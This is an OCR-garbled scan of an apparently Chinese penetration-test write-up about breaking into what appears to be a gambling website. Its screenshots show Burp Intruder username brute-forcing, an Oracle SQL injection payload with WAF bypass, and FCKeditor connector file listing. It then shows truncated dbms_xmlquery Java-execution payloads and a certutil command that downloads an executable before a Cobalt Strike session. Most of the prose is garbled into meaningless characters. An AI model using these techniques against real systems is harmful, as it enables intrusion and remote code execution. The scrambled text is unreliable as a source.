ID—IRBIEZIE -
SecPulse.COM | ZEkiE

X2 BTN SERBA BUSE 98 B E,

El=3 =}
B>

HIAK, RZEERR—FEMREHNERS, ERANES
RTRBERTHE, FiaEL—FAE. KEERE
EEIZAET, FA—TBENXRENE, BREFIRE
7], BREEREREARECHH.

IEX
REE PR

BITIRME app, IMEBREEI—THE, THNET, &

— P =RERO:



RICEE ?
MEsRE T, RIS, SRE. FaEaK
K%, WESip, o B, WO, google B
wm ENREIRIE, ATALSHAR, HEEERE
. EEAkEet  EIENE fofa $E|A dede 1272
B e

MAEEEIX dede HIML, 5&F FhAS,

€ O /data/admin/ver.txt

20180109

287 member BE, dede BEEEZSHEMIE, =it
HEEeBERER, AHRESE, hEkrM,

AL —T fofa, BREEDBEMAN., MBS
RM—TREERAT.



FEEE, 2—1&%0O, BE google auth I,

ZUEA admin #THORE, RAR. EIMARRIZS
0%, WE#EARE, HERIKSFIEEFE google £,
B A INBIEEN.



E? Intruder attack 2 — | X

Attack Save Columns

jResu\ts Target | Positions Tpayluada TOplinns l

| Filter: Showing all items ‘L
Request | Payload | Status | Emor | Timeout | Length ¥ | Comment

0 302 ] ] 247

1 chenbin 302 o o 247

2 chenbo 302 O O 247

3 chenchao 302 (] (] 247

4 chenchen 302 (] (] 247

5 chenfang 302 (] (] 247

6 chenfei 302 ol ol 247

7 chengang 302 o o 247

BT S REEESTRA, BUELTENRE—, &

TEeESfy LT B W60 XiEE HZ
JRaw Headersm
THRANES.

Set-Cookie: JSESSIONID=0698F047D1C454E6D16EEDFAOGC56CB4; Path=/; HttpOnly
Location: login. shtul

Content-Length: 0
Date: Wed. 05 Aug 2020 02

27: 41 GMT

FOFA | too-m——

hERBEN—TMEEMRA, BER—TEBE, 2% E M
MR, BAETER, RBRENERSEARTE—F
No. FashFIH, MIXEEINEEH api FHOARELIN
e, BERAERODLSEEMMRNE, BISLMEE
&, BEEEWKE, ko register.html BEEE A, B
AEEESFNNSMINESE, EMEFEETUT, &
MU TEE waf, EMABEARBIDHIT TR, =
BE—H#ZRIER, LUBPNFEREUEFEESETRE.



Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /reportWinloss/search. do HITP/1.1

4 HITP/L.1 200 OK
Host r Server: ngims/1.12.1
User-Agent: NMozilla/5.0 (Vindows NT 10.0; Win64: x64: rv:47.0) Date: Wed. 05 Aug 2020 03:22:45 GHT
Gecko/20100101 Firefox/47. 0 Content-Type: text/htnl:charset=UTF-8
Accept: application/json, text/javascript, */*: .01 Content-Length: 12
Accept-Language: zh-CN. zh:q=0.8, en-US:q=0. 5. en:q=0. 3 Comnection: close
Content-Type: application/z-ww—forn-urlencoded
N X*Ra\q\\estedfdth xW_HttpRE&uest\ A"ns " t-1") —_ g s p
N 5 . T, | | ¥ s h
MAR T, 3IET select, £ HxEF, 2=k change
Cooliie. JSESSIONID=lnr'sne3hehcdOebSepynlyyme

Comection: close

body:-ensedingy-REE 1554 waf,

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
rt¥inloss/search. do HITP/L.1 4 HITP/1.1 200 OF |
r Server: nginz/1.12.1
User-Agent: Mozilla/3.0 ndows NI 10.0; Win64; x64; rv:47.0) Date: Wed, 05 Aug 2020 03:22:21 GMT
Geclo/20100101 Firefox/47.0 Content-Type: text/htnl;charset=UTF-8

Accept: application/json, text/javascript, #/* 5
Accept-Language: zh-CN. zh:q=0, 8, en-US: =0, 5, en: o

Content-Type: nultipart/form-data; boundar

.01 Content-Length.
.3 Comection: close

¥-Requested-With: XMLHttpRequest {"msg”: "BRREIRY, 007, "data”: {"reportmain”
Referer /index. htnl [{"rtime”: "2020-04-02", -1, “salezh”: 0.0, “win
Content-Length: 2 1.35053204619E8, “wdfail”: 0.0 1005054, 0684, “dp”:
Cookie: JSESSIONID=Inreme3hghod0ehGepynlyyne 036055T1E7, “wd": 1. 8799415E7, “luck”:0.0, "dj": 0. 0, "dps

Comnection: close

- -762788043
Content-Disposition: ferm-data;

0.0, "param3”: 0.0, "params”: 0.0, "
"g5":0.0,"23h": 0.0, "hk6": 0.0, "mr2":
0.0,"1fc":0.0, "s3d": 0.0, "g3d": 0.0, "pk107: 0.0, "cqssc”

“xjssc”: 0.0, "t3ssc”:0.0, "p357: 0.0, "d1157: 0.0, "sdl
0.0, gdl15 : "gswin’
1fcin”: 0.0, "1fewin”: 0.0, "
20.0, “cqssewin”: 0.0,

Content-Disposition: form-data: name="etime”

2020-07-24" and 1=(select 1 from dual) or
762788043

Content-Disposition: form-data: name="curpage”

0.0, "hk6win": 0.0, "mr2win”: 0.0, "1he": 0. 0, "1hewin’
1 0, "sclhc”: 0.0, “sclhewin”: 0.0, "k187:0. 0, "k18win”: 0.0,

762788043 £k37:0.0, "£fk3win": 0.0, "gepk10”: 0. 0, "gepklOwin™: 0.0, "h
gvfb”: 0.0, "heyfbwin”:0.0, " jsk3”: 0.0, " jsk3win": 0. 0, " jnd

L bs”:0.0, " jndbswin®: 0.0, "djyfb": 0. 0, "djyfhwin”: 0.0, "gxk |

¥ 37:0.0, "gxk3win":0.0, "hbk3": 0.0, "hbk3win": 0.0, "xxlssc” |y

? < + > 0 matches ? < + > e a sear 0 matches
Done 17.874 bytes | 7,874 millis

BIFTHRAMERT, HiZL sqmap, BT REHTE
x, SRERERIE, IR T —1 admin IKSRIESR.



Raw | Params | Headers m

[ Headers [ ex o |

POST /login. shtul HITP/1.1

Host

User-Agent: Mozilla/5.0 (Vindows NT 10.0: Win64: x64: 1w 47.0)
Geclko/ 2! 01 Firefox/47.0

Accept

text/htnl, application/xhtnl+znl, application/zul
Accept-Language: zh-CH. zh
Content-Type: application/:
Referer:

Content-Length: 190
Cookie: JSESSIONID=BDAS31331E248534F946
Comnection

9, %/+:q=0.8

Len
—form-urlencoded
login. shtml

charset=UTF-8

946DECTF5C89
close

ATAXREQUEST-1oginForn%34j_id2tloginForn=loginFornkloginFornt3A1
oginllaneTd=adninkloginFornt34]_id: tloginForn%34;_idd-&
javas. faces. ViewState=j_idltloginFormh34;j_id6=loginForut3Aj_ids

T

HITF/1. 1 oK

Server: Apache-Coyote/l.1

N-Powered-By: JSF/1.2

Ajax-Response: redirect

Cache-Control: no-cache, must-revalidate, max_age=0, no-store
Expires: 0

Pragma: no-cache

Location: http://wiw. baidu. con

Content-Type: text/s
Date: fied,
Comection: close
Content-Length: 205

.

7xnl version="
htnl
nane:

enceding="UTF-5"7
- w3. 0rg/1999/xhtul
Ajax-Response” content
name="Location” content="http:/,
/>¢/head></htnl

head><neta

neta

- baidu. con

REEER ARMOFEKSIREE, EHENL—TF. &
EREIFTE S, EF burp MORRINEER THE &L,

I REERE

$XEX shell tXFR

NA=5
Berm

EMRFE—TIKSAHITER, ERAANEMBRESH#EE
g%, NERFHZRI)
HERERRAT .

FEIANEE AR, Ftt

SEEUR

8 [ RE DEL SEEUR



HANEBRE, FHEEIRE shell WR., BEE T AEDIN

BE, #PRE LIETHEE, FEBHAINEERL, TETE fckeditor
2.6.4 YRiE2S

R (*50FLAR)

) iseis E_J_Q\_? | AL ECIBFCEEE @
EEEIEIQAIROO=Q &S

K

B 7 U &|x == = G
i st v st ME: v &M -l R @)
TR,

test.html MIXTIE EH MR, A TH —F, BX
test.htm! TITE BRI N web 12, PISRENBREE,
EEMEEXE L EREEK,

€ O file//C: i 3 e » Q@x we ¥ AO U ¥ F
Connecto Cunent Folder Resource Type
PHP | File

Get Folders Get Folders and Files Create Folder File Upload
B | AsiEiF, Upload

URL: 388/fckeditory

/php/connectorphp?C d dFiles&Type=File&CurrentFolder=2%2F

<Connector command="GetFoldersAndFiles* resourceType="File">
<CurrentFolder path="/" url="/userfiles/file/"/>
= <Folders>
<Folder name="picture"/>
<Folder name="test’/>
Fi >

ize="4"/.
size="4"/
2e="47/>
X" size="1"/
ze="144"/
* size="1"/>
ong” size="4/>
*size="15"/>
" size="176"/>
size="176"/>

<[Files>
</Connector>



AT ARIHEEA A BrRE, BEMLIEF LRI
FEHINEEFE sql BXEIEAN, BEENITERNSE,
Itt, EMNPREBZMNIE, RIS oracle AaR LHATRIREN
PR,

BT FE waf, FREELT select E’J?&%Lﬂ E =1
HtWARL, mAERHNARSHIFENSE—R. AmdL
RENRGFRHTINE, RAKEXNXEBIELIR, 7TE
BEN

FIIRRERER, BREBRAE, HIT:

select banner from v$version where banner like 'Oracle




oracle FRZA<J9 11.2.0.1, BRIMAMITH<RY, BETEHMN
PR, #AT:

select role from session_roles

PR DBA tX[FR:

FFaeliE JAVA Source, HAT:

UNION ALL SELECT dbms_xmlquery.newcontext('declare PR/

EARSEIEMINNIGS:

select OWNER,OBJECT_NAME,OBJECT_TYPE from all_objects



& T RZE Java IMPATIIR, BRIZEIBIIFTERSGH
P00 java iz1TIXRR, ELLFTHAT:

NION ALL SELECT dbms_xmlquery.newcontext('declare PR/

©i00000:

BT

UNION ALL SELECT dbms_xmlquery.newcontext('declare PF

€000 04:

=EBIZERITREL, 1T LINXRUNCMD:

UNION ALL SELECT dbms_xmlquery.newcontext('declare PF

BER I D BIEMIN:



select OBJECT_ID from all_objects where object_name ='

IR system, RUANTFHEFAD, HiEos -
%, EANTHLTEAD:

certutil -urlcache -split -f http://127.0.0.1/1.exe C:

0100009

9091 01009 099 90006 9996 70000 .. 4400 CertUtil: -URLCache € 99 6109 606

BITARD, cs WEIRERITIBR:



IIHﬂI_ srQ .tIE! LN

erma ~

FH

=+
00N él:l

LEREGZE, AJLOREEN TR ERE, BT waf AR
55, LtERBS%5E. BILFNREBEE, WEFE—TE
BAKSKISERIE, EBERESR. BEZTHEEN
R, SHEHIFREBMNEEHT oracle BX&EAN, H1Tdm
LIREENMNIR, EHTEEREEARI, ERERF
ESREWERDHEER, REELREHTANRE, HRK
REBR

AXH @l SimpRead 711, M LAIRTT R

{ERT SMBIRIDEDITSIE PR, RHEE MR


http://ksria.com/simpread
http://ksria.com/simpread/docs/#/%E8%AF%8D%E6%B3%95%E5%88%86%E6%9E%90%E5%BC%95%E6%93%8E

